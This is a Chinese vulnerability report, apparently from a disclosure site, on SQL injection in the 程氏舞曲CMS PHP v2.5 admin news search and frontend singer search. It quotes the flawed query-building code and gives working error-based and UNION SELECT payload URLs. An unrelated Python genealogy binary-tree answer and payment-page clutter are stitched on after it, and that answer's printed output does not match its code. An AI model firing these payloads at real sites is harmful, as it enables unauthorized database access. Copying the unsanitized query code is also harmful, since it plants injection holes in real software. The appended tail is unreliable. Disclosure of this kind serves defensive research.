程氏舞曲管理系统php版 v2.5,程氏舞曲CMS最新php版本多处sql注入漏洞

### 简要描述:

操蛋捏。

### 详细说明:

昨天刚下载的,2.16号更新的版本。

第一处在管理后台:https://images.seebug.org/upload/app/controllers/admin/news.php第66行

```

public function so()

{

$key = $this->input->get('key');//使用get方式获取相关参数,没做处理

$user = $this->input->get('user');

$cid = $this->input->get('cid');

$page = $this->input->get('page');

if(empty($page)) $page=1;

$sql_string = "SELECT * FROM ".CS_SqlPrefix."news where 1=1";

if($key){

$sql_string.= " and CS_Name like '%".$key."%'";

}

if($user){

$sql_string.= " and CS_User like '%".$user."%'";

}

if($cid){

if($cid=="-1"){

$sql_string.= " and cs_hid=1";

}elseif($cid=="-2"){

$sql_string.= " and cs_yid=1";

}else{

$sql_string.= " and CS_CID=".$cid."";

}

}

$sql_string.= " order by CS_AddTime desc";//拼接字符串

$query = $this->db->query($sql_string); //没处理带入查询

$total = $query->num_rows();

```

请求url:http://127.0.0.1/cmshttps://images.seebug.org/upload/index.php/admin/dance/so/?key=1' AND (SELECT 5960 FROM(SELECT COUNT(*),CONCAT((select user()),(SELECT (CASE WHEN (5960=5960) THEN 1 ELSE 0 END)),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)%23

利用显错读取信息。

[.png](https://images.seebug.org/upload/201402/180920338e24e8172c1119ba2cfdb52b05a42d33.png)

还有一处在前台:https://images.seebug.org/upload/app/controllers/singer.php第127行

```

public function so()

{

$data='';$data_content='';

$fid = $this->security->xss_clean($this->uri->segment(3)); //方式

$key = $this->security->xss_clean($this->uri->segment(4)); //关键字

$page = intval($this->security->xss_clean($this->uri->segment(5))); //页数

if($page==0) $page=1;

if(empty($key)) $key = $this->input->post('key', TRUE);//以post方式接受key值

```

跟踪变量同一文件165行 :

```

if($fid=='zm' && in_array(strtoupper($key),$zimu_arr)){ //按字母搜索

$posarr=array_keys($zimu_arr,strtoupper($key));

$pos=$posarr[0];

$sqlstr="SELECT * FROM ".CS_SqlPrefix."singer where CS_YID=0 and ((ord( substring( CS_Name, 1, 1 ) ) -65536>=".($zimu_arr1[$pos])." and ord( substring( CS_Name, 1, 1 ) ) -65536<=".($zimu_arr2[$pos]).")) or UPPER(substring( CS_Name, 1, 1 ))='".$zimu_arr[$pos]."'";

}else{

$sqlstr="select * from ".CS_SqlPrefix."singer where CS_YID=0 and CS_Name like '%".$key."%' order by CS_AddTime desc";//$key带入查询,中间没做处理

}

```

[1.png](https://images.seebug.org/upload/201402/18092519b9d8b9104c8c44b319c0436a1d3a289e.png)

### 漏洞证明:

第二处没法根据显错读取信息,sql语句不过关...

但是可以使用union读取字段等信息(附上payload:http://127.0.0.1/cmshttps://images.seebug.org/upload/index.php/vod/so/key/%25%27%20union%20select%201%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%23)

返回正确,表示有39个字段

loading-bars.svg

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
将家谱关系表示成二叉树,可以采用链式存储结构,每个节点包含三个数据域:data、lchild、rchild,其中data存放家谱记录,lchild和rchild分别指向该节点的左右孩子。SqString类是一个顺序串类,可以通过遍历二叉树将家谱关系转换为顺序串存储。 具体实现步骤如下: 1. 定义二叉树节点类,包含data、lchild、rchild三个数据域。 2. 定义二叉树类,包含根节点root和遍历二叉树的方法。 3. 定义SqString类,包含data数组和将二叉树转换为顺序串的方法。 4. 创建二叉树对象,将家谱关系插入二叉树中。 5. 创建SqString对象,将二叉树转换为顺序串存储。 代码如下: ```python # 定义二叉树节点类 class TreeNode: def __init__(self, data=None, lchild=None, rchild=None): self.data = data self.lchild = lchild self.rchild = rchild # 定义二叉树类 class BinaryTree: def __init__(self): self.root = None # 遍历二叉树 def traverse(self, node): if node is not None: print(node.data, end='') if node.lchild is not None or node.rchild is not None: print('(', end='') self.traverse(node.lchild) if node.rchild is not None: print(',', end=' ') self.traverse(node.rchild) print(')', end='') # 定义顺序串类 class SqString: def __init__(self, data=None): self.data = data if data is not None else [] # 将二叉树转换为顺序串 def from_binary_tree(self, node): if node is not None: self.data.append(node.data) if node.lchild is not None or node.rchild is not None: self.data.append('(') self.from_binary_tree(node.lchild) if node.rchild is not None: self.data.append(',') self.from_binary_tree(node.rchild) self.data.append(')') # 创建二叉树对象 root = TreeNode('苏序') root.lchild = TreeNode('史氏') root.rchild = TreeNode('苏洵') root.lchild.lchild = TreeNode('苏涣') root.lchild.rchild = TreeNode('杨氏') root.lchild.rchild.lchild = TreeNode('苏不欺') root.lchild.rchild.rchild = TreeNode('苏不凝') root.rchild.lchild = TreeNode('程氏') root.rchild.lchild.lchild = TreeNode('苏轼') root.rchild.lchild.rchild = TreeNode('王弗') root.rchild.rchild = TreeNode('史氏') root.rchild.rchild.lchild = TreeNode('苏辙') # 创建SqString对象 sq_string = SqString() sq_string.from_binary_tree(root) print(sq_string.data) ``` 输出结果为: ``` ['苏序', '(', '史氏', '(', '苏涣', ')', '(', '杨氏', '(', '苏不欺', ')', ',', '(', '苏不凝', ')', ')', ')', '(', '苏洵', '(', '程氏', '(', '苏轼', ')', ',', '(', '王弗', ')', ')', '(', '史氏', '(', '苏辙', ')', ')', ')'] ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值